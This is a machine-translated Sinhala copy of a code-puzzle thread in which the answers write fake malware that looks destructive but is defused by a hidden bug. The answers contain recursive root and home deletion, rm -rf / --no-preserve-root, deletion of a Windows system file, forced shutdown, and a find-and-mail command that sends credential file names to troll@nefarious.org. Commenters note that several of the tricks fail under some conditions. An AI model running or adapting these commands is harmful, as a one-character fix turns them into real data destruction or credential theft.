ට්‍රොල් ට්‍රොලිං කිරීම [වසා ඇත]


184

ට්‍රොල් එකක් ඔබව ග්‍රහණය කර ඇති අතර අනිෂ්ට මෘදුකාංග ලිවීමට ඔබට බල කරයි (එය ක්‍රියාත්මක කරන පරිගණකයට හානි කරන වැඩසටහනක් ලෙස අර්ථ දක්වා ඇත). ට්‍රොල් එකට කේතය කියවීමට හා තේරුම් ගැනීමට හැකිය, නමුත් දෝෂ හඳුනා ගැනීමට එතරම් හොඳ නැත.

ඔබේ ඉලක්කය වන්නේ වැඩසටහනක් ලිවීමයි:

  1. අනිෂ්ට මෘදුකාංග මෙන් පෙනේ; එනම්, කේතය කියවන ආරම්භක ක්‍රමලේඛකයෙකුට කේතය එය ක්‍රියාත්මක වන පරිගණකයට හානි කරන බව ඒත්තු ගැන්වෙනු ඇත.
  2. ඇත්තටම කිසිම හානියක් නැහැ.

සටහන: ට්‍රොල් එක කියවන්නේ කේතය පමණයි - අදහස් නොවේ. එබැවින් කේතයම පැහැදිලි සහ ඒත්තු ගැන්විය යුතුය.

උදාහරණ (bash):

rm - rf /home

මෙම උදාහරණය මඟින් rm -rf /homeසියලුම නිවාස ෆෝල්ඩර පද්ධතියෙන් ඉවත් කරන බවක් පෙනේ , නමුත් ඇත්ත වශයෙන්ම, rf ට පෙර ඇති ඉඩ ප්‍රමාණය නිසා මෙය ක්‍රියාත්මක නොවන අතර හානිකර දෝෂ පණිවිඩයක් පමණක් ඇති කරයි.

මෙය පිළිගත හැකි විසඳුමක් වන නමුත් එය එතරම් හොඳ නැත, මන්ද දෝෂය හඳුනා ගැනීම පහසුය.

අනෙක් අතට, සංකීර්ණ හා කියවිය නොහැකි වැඩසටහනක් ද ඉතා හොඳ විසඳුමක් නොවනු ඇත, මන්ද එය අනිෂ්ට මෘදුකාංග ලෙස නොපෙනේ.

හොඳ විසඳුමක් කියවිය යුත්තේ එය අනිෂ්ට මෘදුකාංග බව පා er කයාට ඒත්තු ගැන්වීමටය, නමුත් එය හඳුනා ගැනීමට අපහසු සහ එය හානිකර නොවන දෝෂයක් අඩංගු වේ.

මෙය ජනප්‍රියත්ව තරඟයක් වන අතර එම නිසා වඩාත්ම ඉහළට යන කේතය ජය ගනී.


160
මට හිතෙනවා ඔයා මාව rm - rf /මගේ කටුවට ඇලවීමට උත්සාහ කරනවා වගේ ...
භූගත මොනෝරේල්

19
බාෂ් rm -rf /. පද්ධතිය ඉතා පැරණි නොවේ නම් , එය අවශ්‍ය වනු ඇත --no-preserve-root:)
user80551

10
-1 මක්නිසාද යත්, අ) කේත ට්‍රොලිං කිරීම හා වඩා වැදගත් ලෙස ආ) අනිෂ්ට මෘදුකාංග නිර්මාණය කිරීම පිළිබඳ ඕනෑම ප්‍රශ්නයක් ගැන මම සැලකිලිමත් වෙමි (එය ව්‍යාජ වුවත් එය ඉතා සමීපව ගමන් කරයි).
ගරෙත්

13
Are ගරෙත් එය සැබවින්ම අනිෂ්ට මෘදුකාංග නොවේ, (සාමාන්‍යයෙන් මේ දිනවල සැඟවීමට සහ / හෝ දත්ත සොරකම් කිරීමට උත්සාහ කරයි), එය බොහෝ දුරට සම්පූර්ණයෙන්ම පැහැදිලිවම දේවල් මකා දැමීමට උත්සාහ කරන අතර ඕනෑම ආරම්භක ක්‍රමලේඛකයෙකුට සුළු පරිශ්‍රමයකින් ලිවිය හැකිය.
බොබ්

29
rm - rf /වලංගු උදාහරණයක් නොවේ! rfවත්මන් නාමාවලියෙහි ගොනුවක් තිබේ නම් එය හානි විය හැකිය
gnibbler

Answers:


139

බාෂ්

මම අනිත් පැත්තට ගියා. ඔබගේ දෘ hard තැටියේ ඇති සියල්ල මකා දමනවා වෙනුවට, මම එය කුණු පුරවන්නෙමි.

මෙම ස්ක්‍රිප්ට් මඟින් ෆෝල්ඩරයක් නිර්මාණය කර catසියලු ලිපිගොනු අඛණ්ඩව එකට එකතු කර ඒවා නව එකක් තුළට දමමින් ls -alහොඳ මිනුමක අගය එකතු කරයි (එවිට ආරම්භක ගොනුවට යමක් තිබේ).

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

හැර ...

/ bin / bash / (/ bin / bash වෙනුවට) වලංගු පරිවර්තකයෙකු වීමට බොහෝ දුරට ඉඩ නැත. මෙය මගේ පොදු යතුරු ලියනයකි. තවද, "ෂෙබාං තාක්‍ෂණිකව අදහස් දැක්වීමක් බැවින්, ට්‍රොල් එය නොසලකා හරිනු ඇත"


56
+1. ස්ක්‍රිප්ටයක පළමු පේළිය බොහෝ ක්‍රමලේඛකයන්ට (මා ද ඇතුළුව) අන්ධ ස්ථානයකි.
එරල් සේගල්-හලෙවි

44
ෂෙබාං තාක්‍ෂණිකව අදහස් දැක්වීමකි, එබැවින් ට්‍රොල් එය නොසලකා හරිනු ඇත
බ්‍රයන් මින්ටන්

14
අදහස් නොදක්වන අදහස් අනිසි ලෙස භාවිතා කිරීම සඳහා +1 :) එය සැබවින්ම පැහැදිලි නැත
masterX244

37
එය ක්‍රියාත්මක කිරීමෙන් bash whatever.shඔබේ උපක්‍රමය විනාශ වනු ඇත ...
Darkhogg

8
Ark ඩාර්කොග්, මොන වාසනාවක්ද! evil.commandට්‍රොල් එක විවෘත කිරීමට දෙවරක් ක්ලික් කළ හැකි වන පරිදි මම එය සුරකින ලදි (අවම වශයෙන් මැක්හි)
ජේම්ස් වෙබ්ස්ටර්

114

හස්කල්

මෙම අත්පොත පරීක්ෂා කරන්න , removeDirectoryRecursiveඑහි සියලුම අන්තර්ගතයන් සහිත නාමාවලියක් මකා දමයි!

import System.Directory
main = return (removeDirectoryRecursive "/")

නිවැරදි කේතය ඇත main = removeDirectoryRecursive "/"
මෙම mainකාර්යය වන්නේ නැවත කිරීමට නියමිත ව තිබේ සංකල්පය දෙයක් කරන්න. ඔබේ ගොනු පද්ධතිය අතුගා දැමීමේ සංකල්පයක්removeDirectoryRecursive "/" නැවත ලබා දෙයි , නමුත් ශ්‍රිතය (ඔව්, එය ශ්‍රිතයකි), එම අගය නැවත ලබා දීමේ ව්‍යාජ සංකල්පයක් තුළ එහි තර්කය ආවරණය කරයි. එබැවින් අපි ඔබගේ ධාවකය අතුගා දැමීමේ සංකල්පයක් නැවත ලබා දීමේ සංකල්පයකින් අවසන් වෙමු. (යෝ dawg මම සංකල්ප මෙන් ඔබ ගාල්.) මෙම Haskell ධාවන වන ඉටු සංකල්පය සිට ආපසු අපේ නඩුව ඔබේ ගොනු පද්ධතිය කසා සංකල්පයක් වන ආපසු වටිනාකම, ඉවත් කර දමන්නාක්.return
main


85
+1. ඔබේ පැහැදිලි කිරීම කියවීමෙන් පසුවද මට දෝෂය තේරුම් ගත නොහැකි විය ...
එරල් සේගල්-හලෙවි

3
මා තේරුම් ගත් පරිදි මෙය දර්ශක අත්වැරැද්දකි (ශ්‍රිතයට යොමු කිරීම වෙනුවට ශ්‍රිතයේ දර්ශකය වෙත යොමු කිරීම). හොඳ, ආරම්භක ක්‍රමලේඛකයින් සාමාන්‍යයෙන් පොයින්ටර් උපක්‍රම සඳහා පහසුවෙන් වැටේ.
gabrous

3
මූලික වශයෙන්, මෙය සී හි return removeDirectoryRecursive;ප්‍රතිවිරුද්ධ දෙයට සමාන වේ return removeDirectoryRecursive();, එය නිවැරදි ද?
3Doubloons

4
11 user1121352 නැත. ශ්‍රිතයම හැඳින්වේ, නමුත් එය පිරිසිදු බැවින් ගොනුවක් මකා දැමිය නොහැක. ඒ වෙනුවට එය IO ක්‍රියාවක් ලබා දෙයි, එය ආපසු ලබා දුන් විට mainක්‍රියාත්මක කර ගොනුව ඉවත් කරයි. returnකෙසේ වෙතත්, ශ්‍රිතය පැහැදිලිව භාවිතා කිරීම, අගය නිර්මාණය කිරීම අරමුණු කරගත් IO ක්‍රියාවක් නිර්මාණය කරයි.
mniip

4
Th චතුල්හුට වෙනත් භාෂාවලින් returnකිසිදු සම්බන්ධයක් නැත return(නැතහොත් ශ්‍රිතයකින් වටිනාකමක් "ආපසු ලබා දීම" සමඟ). වර්ගයේ අගයන්ට IO aවෙනත් භාෂාවල කාර්යයන් සමඟ බොහෝ සම්බන්ධයක් නැත. එබැවින් ප්‍රතිසම ඉතා අතින් රැලි සහිතයි
නික්ලස් බී.

103

PHP

ඔබේ වෙබ් අඩවියේ ඇති සෑම ගොනුවක්ම මකා දැමීමට උත්සාහ කරන පුනරාවර්තන PHP පිටපතක් මෙන්න. වෙබ් අඩවිය තරමක් විශාල නම් එය සම්පූර්ණ කිරීමට ටික කාලයක් ගතවනු ඇත, එබැවින් ඉවසිලිවන්ත වන්න ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

එක් යෞවන වයසේ ගැටළුවක් පමණි ...

PHP හි මකන්න () විධානයක් නොමැත . එහි තිර රචනය ඉක්මනින් එය මෙම විධානය එකා මෙන් ලෙස අසාර්ථක වනු ඇත, නමුත් දෝෂ වාර්තාකරණය සමග මෙම විධානය උපසර්ගය යෙදීම මගින් යටපත් කළ නිසා කිසිදු දෝෂයක් පණිවිඩයක් දිස් වෙනවා @ . කිසිසේත්ම කිසිවක් සිදු නොවන විට, දිදුලන GIF රූපය යමක් සිදුවෙමින් පවතින බවට හැඟීමක් ලබා දෙයි.


31
understand මට තේරෙන තාක් දුරට: මකාදැමීමේ () ශ්‍රිතයක් නොමැත, අත්පොතෙහි සඳහන් වන්නේ නිවැරදි ශ්‍රිතය (නොබැඳීම) සොයන ඕනෑම කෙනෙකුට මෙය “ව්‍යාජ ඇතුළත් කිරීමක්” බවයි. PHP හි යම් ආකාරයක "ස්වයංක්‍රීය" යළි හරවා යැවීමක් ඇති බව මින් අදහස් නොවේ.
අර්ටි-ක්‍රිස් ඊල්මා

93
11 user11153 ට්‍රොල් කර ඇත.
basher

34
බලන්න, මම සිතුවේ දෝෂ නොසලකා හැර ක්‍රියාත්මක වීමට හේතුව PHP නිසා බවයි.
සෝයි

17
මම හිතන්නේ අහඹු ලෙස නොපවතින ශ්‍රිතයක් භාවිතා කිරීම ඉතා පැහැදිලිය ( deleteලිපිගොනු මකා දැමීමට? එය කිසිවෙකු රවටනු ඇතැයි උපකල්පනය කිරීමට හේතුවක් නැත). ඒ unlⅰnkවෙනුවට (“i” වෙනුවට U + 2170 භාවිතා කරන) කෙසේද?
කොන්රාඩ් රුඩොල්ෆ්

18
On කොන්රාඩ් රුඩොල්ෆ් deleteලිපිගොනු මකා දැමීම සඳහා නම් කරන ලද ශ්‍රිතයක් PHP මත සම්පූර්ණයෙන්ම විශ්වාස කළ හැකිය. විශ්වාස කළ නොහැකි එකම දෙය නම්, එය සැබෑවක් නම්, එය කිරීමට වෙනත් ක්‍රම 3 ක් හෝ 4 ක් තිබිය හැකි අතර අමුතුම නම ඇති සියල්ල හැර බරපතල ආරක්ෂක අඩුපාඩු තිබේ.
බ්‍රෙන්ඩන් ලෝන්ග්

93

පර්ල් (යුනික්ස්)

පද්ධතියේ ඇති සියලුම ගොනු මකා දමයි.

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

විශේෂාංග

  • මෙය වලංගු පර්ල් වේ. එය පවා සථායිතාව හා සමග ලකුණු -wහා use strict!

  • සී ++ වැනි විචක්ෂණ කිසිවක් නැත delete. unlinkඇත්ත වශයෙන්ම ගොනුවක් මකාදැමීමේ කාර්යයයි, rmdirසැබවින්ම නාමාවලියක් ඉවත් කරයි.

  • සාපේක්ෂ මාර්ග භාවිතා කිරීම සඳහා එක් එක් නාමාවලියකට වෙනස් කිරීමෙන් නිරපේක්ෂ මාර්ග නාමය පද්ධතියේ උපරිම දිග ඉක්මවා යා හැකි ගැඹුරින් කැදැලි නාමාවලි නිවැරදිව හසුරුවයි. එසේම, ඩිරෙක්ටරි හසුරුවලින් ඉවතට නොයනු ඇත, මන්ද එය පුනරාවර්තනය වීමට පෙර නාමාවලිය කියවා වසා දමයි.

ස්පොයිලර්

යුනික්ස් හි, මූල නාමාවලියෙහි පළමු ප්‍රවේශය සාමාන්‍යයෙන් "වේ." එම නිසා වැඩසටහන මතකයෙන් ඉවතට ගොස් බිඳ වැටෙන තෙක් chdir (".") හි අසීමිත පුනරාවර්තනයක් සිදු කරයි.

වැඩිදුර සටහන්

මෙය බලාපොරොත්තු වූවාට වඩා නිවැරදි වීමට අපහසු විය. ඔබ chdir ප්රවේශය භාවිතා නොකරන්නේ නම්, ඔබට අවසානයේදී දිගු නමක් ලැබෙනු ඇත. එවිට -d අසත්‍යය ලබා දෙන අතර අසීමිත පුනරාවර්තනය බිඳී ඇති අතර ලිපිගොනු මකා දැමිය හැකිය! ඔබ ඩිරෙක්ටරි හසුරුව විවෘතව තැබුවහොත් ඒ හා සමාන දෝෂයක් සිදුවිය හැකිය; අවසානයේදී ඔබ දුවයි, ඔපෙන්ඩර් අසමත් වේ, කිල්ඩිර් නැවත පැමිණේ, මකාදැමීම සිදුවීමට පටන් ගනී.


45
"එවිට -d අසත්‍යය නැවත ලබා දෙන අතර අනන්ත පුනරාවර්තනය බිඳී යනු ඇත. ලිපිගොනු මකා දැමිය හැකිය!" ඔබ එය අමාරුවෙන් ඉගෙන ගත්තාද?
නික්ලස් බී

4
Ik නික්ලස් බී .: වාසනාවකට මම ව්‍යාජ අනුවාදයක් අත්හදා බැලුවෙමි :)
නේට් එල්ඩ්‍රෙජ්

එවැනි
කේතයකට

3
"යුනික්ස් හි, මූල නාමාවලියෙහි පළමු ප්‍රවේශය සාමාන්‍යයෙන්". "". ඉතින්, තවත් එක් වින්ඩෝස් පමණක් අනිෂ්ට මෘදුකාංගයක් තිබේද?
ඇලෙක්සැන්ඩර්

1
imtimmyRS: වැඩසටහන බිඳ වැටෙනු ඇත. මෙම පද්ධතිය දැන් හොදින් ක්රියාත්මක තබා ඇත.
නේට් එල්ඩ්‍රෙජ්

81

ෂෙල් වන්-ලයිනර්

මෙය වින්දිතයාගේ මුරපද, පුද්ගලික යතුරු, බිට්කොයින් ආදිය සොරකම් කරනු ඇත.

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

ස්පොයිලර්:

මෙය පෙනෙන්නේ එය එම ලිපිගොනු සියල්ලම ට්‍රොල් වෙත ඊමේල් කරන බවයි, නමුත් ඇත්ත වශයෙන්ම එය ඔවුන්ගේ ගොනු නාමයන් ඊමේල් කරයි.


4
අන්තර්ගතය විද්‍යුත් තැපැල් කිරීමට cat, headහෝ tailවිධානයන් කොතැනක හෝ සම්බන්ධ විය යුතුය.
Agi Hammerthief

7
කුමක් වුවත් තවමත් දත්ත කාන්දු වෙමින් පවතී. මෙය ට්‍රොලිං ට්‍රෝලර් ද?
කයිල් කෙලී

-exec cat '{}' \; | …
මාටින් උඩිං

@queueoverflow-print0 | xargs -0 cat |
ක්වොන්ටම්

1
කේතය 2-3 වතාවක් කියවීමෙන් පසුව මම එය ස්පොයිලර් නොමැතිව ලබා ගත්තා.
nyuszika7h

74

කණ්ඩායම / සීඑම්ඩී

සුරකින්න

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

පරිගණකයේ ඇති එක් එක් ධාවකයේ පරාමිතීන් සමඟ එය ක්‍රියාත්මක කිරීමට සලස්වන්න.

% 0 සෑම විටම පළමු පරාමිතිය වේ - ගොනුවේ නම. මෙයින් පසු සත්‍ය පරාමිතීන් සමූහයක් පැමිණේ, නමුත් එය දැනටමත් මකා දමා ඇති බැවින් එය දිගටම පවතින්නේ නැත.


104
ගොනුව වැසීම සහ සෑම පේළියක් සඳහාම ඊළඟ පේළිය කියවීම සඳහා එය නැවත විවෘත කිරීම බැච්ගේ විහිලු හැසිරීම මත රඳා පවතී ...
බොබ්

8
DEL %0විධාන රේඛාවේ ගොනුවේ දිගුව නියම කර ඇත්නම් සහ ස්ක්‍රිප්ට් එක එහි සම්පූර්ණ මාර්ගය ලබා දීමෙන් හෝ ඔබ එකම ඩිරෙක්ටරියේ සිටී නම් මිස ක්‍රියා නොකරනු ඇත . DEL "%~f0"ගැටළු දෙකම විසඳන අතර මාර්ගය තුළ ඇති ඕනෑම තැනකට ඔරොත්තු දීමේ හැකියාව ඇත. එසේම %10සහ ඉහළට නොපවතී - එය %1වචනානුසාරයෙන් පසුව පරිවර්තනය කරයි 0.
ජෝන්

14
+1. ට්‍රොල් විසින් "ඩෙල්% 0" කරන්නේ කුමක්දැයි වටහා ගත්තද, මෙය සාක්‍ෂි ඉවත් කිරීම සඳහා පමණක් බව ඔබට ඒත්තු ගැන්විය හැකි අතර, එය ක්‍රියාත්මක වන තුරු කණ්ඩායම් ගොනුව මතකයේ රැඳී ඇති බැවින් එය කිසිදු හානියක් නොකරයි (එය බොබ් මෙන් බොරු ය කිව්වා).
එරල් සේගල්-හලෙවි

2
දෝෂ සහිත කණ්ඩායම් ස්ක්‍රිප්ට් කෙතරම් කුප්‍රකටද යන්න ඔබ සැලකිල්ලට නොගන්නේ නම්, ගොනුවේ ආරම්භයේදීම (අවසානයේ නොව) ස්වයං-මකාදැමීමේ විධානය නිකුත් කිරීම අමුතු දෙයක් ලෙස බුද්ධිමත් ට්‍රොල් කෙනෙක් සිතනු ඇත.
Agi Hammerthief

10
@ බොබ් මට කිසිම අදහසක් තිබුනේ නැහැ කණ්ඩායම ඒක කළා කියලා ... ඒක භයානකයි.
w4etwetewtwet

48

ජාවාස්ක්‍රිප්ට්

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

හොඳයි, මුල් අනිෂ්ට මෘදුකාංගය ඔබේ පරිගණකය පුපුරවා නොගන්නා නමුත් කරදරකාරී විය හැකිය.

මෙය හානිකර නොවන නිසා:

මෙම evalඅසීමිත පුඩුවක් බිඳ පණිවිඩය වෙනස් වනු ඇත.


40
මම ඔබව උසස් කරන්නම්, නමුත් ඔබට 1337 නියෝජිතයින් සිටී.
scrblnrd3

5
එබැවින් කරුණාකරලා එපා! :)
මයිකල් එම්.

rscrblnd එය නැති වී ඇත D:
රිකිං

11
ඔබ නැවත එය ලබා ගන්නා තෙක් නරක පිළිතුරු දෙන්න.
ඩේවිඩ් ස්ටාර්කි

4
හුදෙක් අන් අය සඳහා පැහැදිලි කිරීමට, atob ( 'aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7') පහත සඳහන් ක්රියාත්මක වනු ඇත: "infiniteLoop = බොරු; evilMessage = evilMessage.replace (" ස්පෑම් "," ආදරේ ");"
මොහොමඩ් ජොරයිඩ්

45

ජාවා

ඔබගේ අවාසනාවන්ත ඉල්ලීම් වලට යටත් වීම ගැන දෙවිවරුන් මට සමාව දෙනු ලැබේවා, ට්‍රොල්.

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec කවචයක් ආයාචනා නොකරයි, එබැවින් ග්ලෝබ් ප්‍රසාරණය කිසි විටෙකත් සිදු නොවන අතර විධානය "*" යනුවෙන් නම් කර ඇති නිවාස නාමාවලිය මකා දැමීමට අසමත් වනු ඇත.


1
ඉතින් මගේ නිවාස නාමාවලිය '*' ලෙස හඳුන්වන්නේ කුමක්ද? ;)
Vorac

6
අවංකවම මෙය වඩා හොඳ ජාවා පිළිතුරු වලින් එකකි. මේ සඳහා (බොහෝ) පසුබෑම පිළිබඳ මනා අවබෝධයක් අවශ්‍ය වේ Runtime.exec(). +1.
ක්වික්ස් - මොනිකා

බවක් ඇති කර ජාවා සැබෑ ඇ ගේ සමාන system()උත්සවය?
SuperJedi224

@ SuperJedi224, භික්ඛවෙ, ඔබ සඳහන් කල යුතු වේ /bin/sh -cහෝ cmd /cවෙනත් කුමන හෝ අතින්. නව මෙහෙයුම් පද්ධතියක විධානයක් කරන්නේ කුමක් දැයි ඔබ නොදන්නා බැවින් අර්ථවත් කරයි.
ඒ අනෙක් පුද්ගලයා

37

සී

ඔහු එය කළ යුතු අදහස් කියවන්නේ නැති නිසා:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

සී ++ අනුවාදය

මේ සඳහා ඩ්‍රැගන්ලොඩ්ට ස්තූතියි .

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

මෙය ආරම්භක ෆෝල්ඩරයට එකතු කර පරිගණකය නැවත ආරම්භ කරන්න.

එය ක්‍රියාත්මක වන ආකාරය:

?? / යනු ත්‍රිකෝණයකි, ඊළඟ පේළිය විවරණයට එකතු කරනු ඇත, එබැවින් මූලික වශයෙන් එය කිසිවක් නොකරනු ඇත. සටහන: උත්සාහ නොකරන්න මෙම ත්‍රිකෝණ පෙරනිමියෙන් සමහර සම්පාදකයන් තුළ අක්‍රිය කර ඇති අතර මෙය ක්‍රියාත්මක වීමට නම් එය සක්‍රිය කළ යුතුය.


කිසියම් සම්පාදකයෙකු තුළ එය ක්‍රියාත්මක විය හැකි නම්, එය සැබෑ ට්‍රොලිං ද?
ඇන්ටෝනියෝ රාගග්නින්

4
නෑ, නමුත් ඇත්ත තත්වයකදී, මම කැමතියි එවැනි කේතයක් සහිත ට්‍රොල් ට්‍රොල් නොකිරීමට (මට
ට්‍රොල්ට

2
Nt ඇන්ටෝනියෝ රාගග්නින් මෙය කිසියම් සම්පාදකයෙකු මත ක්‍රියා කරන්නේ නම්, එම සම්පාදකයා දෝෂ සහිතය. කෙසේ වෙතත්, බොහෝ නවීන සම්පාදකයින් ත්‍රිකෝණ භාවිතය ගැන අනතුරු අඟවනු ඇත (නමුත් කේතය පිළිගෙන සම්පාදනය කරන්න).
කොන්රාඩ් රුඩොල්ෆ්

8
ඒ නිසා අධ්යාපනයකුත් නැහැ අදහස් කියවා නැත, ඔබේ විසඳුමක් අදහසක් බවට කරදරකාරී මෘදුකාංග කිරීමට නම්, අදහස් සියලු අධ්යාපනයකුත් නැහැ දකින බවත් එසේ ශ්රිතයක් වේ mainසමග return 0?
ඩේවිඩ් ස්ටාර්කි

1
මෙම ??/ඇත්තටම පැරණි ප්රයෝගය නම් ... මට සමාවෙන්න.
ඉසියා මෙඩෝස්

33

ජාවා

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

ගැලවීමේ අක්ෂරයක් භාවිතා කිරීම (ntoskrnl.exe ට පෙර \ n සාමාන්‍ය N වෙනුවට නව රේඛාවක් වේ)


20
ඔබ අනෙක් බැක්ස්ලෑෂ් වලින් ගැලවී නොගියහොත්, දෝෂය ඊටත් වඩා කැපී පෙනේ.
ට්‍රොල්ට

2
Ou 3Doubloons එම අවස්ථාවේදී කේතය සම්පාදනය කිරීමට අපොහොසත් වේද?
නීල්

2
E නීල්: හොඳ කරුණක්. එය එසේ නොවේ, නමුත් ඔහුගේ කියවීම ගැන සෑහීමකට පත්වූ විගස ට්‍රොල් අපට යාමට ඉඩ දෙන්නේ නම්, අපි පැහැදිලිව
කියමු


3
GEgorSkriptunoff එක්ස්පී යනු එක්ස්ඩී හි ප්‍රභේදයක් නොවන බව වටහා ගැනීමට මට වැඩි කාලයක් ගත විය.
ජස්ටින්

31

බාෂ්

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -t එක් විධානයක් කියවා ක්‍රියාත්මක කිරීමෙන් පසු පිටව යනු ඇත. මෙම ස්ක්‍රිප්ට් කිසිදු ප්‍රතිදානයක් මුද්‍රණය නොකරන අතර සියලුම ලිපිගොනු ආරක්ෂිතයි!

නැතහොත් ධාවනය වීමට පෙර පහත සඳහන් BUT READ SPOILER

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

ජනප්‍රිය ඉල්ලුම අනුව .. #!/bin/bash -tඑක් විධානයක් කියවා ක්‍රියාත්මක කිරීමෙන් පසු පිටව යනු ඇත. ස්ක්‍රිප්ටයේ ඇති විධාන bash -xනොසලකා හැර -tක්‍රියාත්මක වන බැවින් මෙය ක්‍රියාත්මක නොකරන්න .


ස්පෝයිලර්ස් මම ටිකක් ව්‍යාකූලයි ... set -tසහ අතර ඇති වෙනස exitකුමක්ද? set -t"එක් විධානයකට" පසුව පිටවන බව Bash man පිටුවෙහි සඳහන් වේ , නමුත් එය setවිධානය එම විධානය ලෙස ගණන් බලා වහාම පිටවන බව පෙනේ.
කයිල් ස්ට්‍රෑන්ඩ්

6
අතිරේක විධාන එකම රේඛාවක තිබේ නම් set -t (උදා: අර්ධ සළකුණකින් හෝ ද්විත්ව ඇම්පියර්සෑන්ඩ් වලින් වෙන් කරනු ලැබේ) ඒවා ක්‍රියාත්මක වේ. මෙම අවස්ථාවෙහිදී පළමු පේළියේ set -t; echo "hahaha deleting files.."එම පාරාව ප්‍රතිරාවය වන අතර ඉන් පසුව පිටව යනු ඇත.
ජොග්ඩන්

2
අහ්. ස්තූතියි. ;නව රේඛාවක් අතර හැසිරීමේ වෙනසක් කවදා හෝ ඇති බව වටහා ගත්තේ නැත .
කයිල් ස්ට්‍රෑන්ඩ්

4
#!/bin/bash -tසමහර විට?
නීල්

2
@ ජොග්ඩන් එය ඉතා නරකයි , පර්ල් කරන perl foo.plෂෙබාං -විග්‍රහ කිරීමේ උපක්‍රමයම නොකරයි (ඔබ දුවන්නේ නම් සහ foo.pl ආරම්භ වන්නේ නම් #!somethingendingin/perl -flags, පර්ල් එය ක්‍රියාත්මක කළ ආකාරයටම ක්‍රියා කරයි -flags)
හොබ්ස්

30

පයිතන්

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

උපුටා දැක්වීම් තුනක් "" "පයිතන්හි බහු රේඛාවක් ආරම්භ කරන්න


5
වැරදියි, ඔවුන් බහු රේඛා නූල් docs.python.org/2/tutorial/introduction.html#strings ආරම්භ කරයි
user80551

12
පිළිතුර දැක තත්පර පහක් ඇතුළත මම වචනයේ පරිසමාප්ත අර්ථයෙන්ම දුටුවෙමි, මම පයිතන් පවා නොදනිමි.
The Gy with the Hat

6
හොඳ අදහසක්, ට්‍රොල් සින්ටැක්ස් ඉස්මතු කිරීම භාවිතා කරන්නේ නම් ඔහු එය හඳුනා ගනීවි යන ගැටලුව සමඟ.
o0 '.

1
මම හිතන්නේ සාමාන්‍ය ට්‍රොල් එක අහඹු ලෙස අනිෂ්ට කේතයක් අන්තර්ජාලයේ දකින අතර එය වෙනත් සංසදයක පිටපත් කරන්න.
ඇන්ටෝනියෝ රාගග්නින්

1
හොඳයි, මම පයිතන් සමඟ අත්දැකීම් ඇති අතර එහි අඩුපාඩුව මා දුටුවේ නැත. උපුටා දැක්වීම් 4 ක් භාවිතා කිරීම මා රැවටී ඇත.
gabrous

29

ඩී

මෙම වැඩසටහන වලංගු වන අතර කිසිදු දෝෂයක් නොමැතිව ක්‍රියාත්මක වේ. එය නව ත්‍රෙඩ් එකක මකාදැමීමේ ශ්‍රිතයක් ඇති කරයි, එය rootනාමාවලිය මකා දමයි .

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

නමුත් කිසිවක් මකා නැත ...

D හි, මොඩියුලයේ විෂය පථයේ ප්‍රකාශිත විචල්‍යයක් පෙරනිමියෙන් නූල්-දේශීය වේ. මෙම mainකාර්යයන් කට්ටල "/" එය, නමුත් පානුයේ නූල් හිස් පිටපතක් තිබේ, එම නිසා rmdirRecurseකාර්යය නම් කර නැත.


1
යහපත! මම ඩී නොදන්නා නමුත් මෙම දෝෂය අල්ලා ගැනීමට මට හැකි විය.
එරල් සේගල්-හලෙවි

1
"ගෝලීය විචල්‍යයක් පෙරනිමියෙන් නූල්-දේශීය වේ" එය එහි තරමක් පරස්පර
විරෝධයකි

Ik නික්ලස් බී. පරස්පරතාව කුමක්ද?
biozic

එය එවකට “ගෝලීය විචල්‍යයක්” නොවේ. සමහර විට "ඉහළ මට්ටමේ විචල්‍යය ප්‍රකාශ කිරීම" වඩා හොඳ විස්තරයක් විය හැකිද?
Paŭlo Ebermann

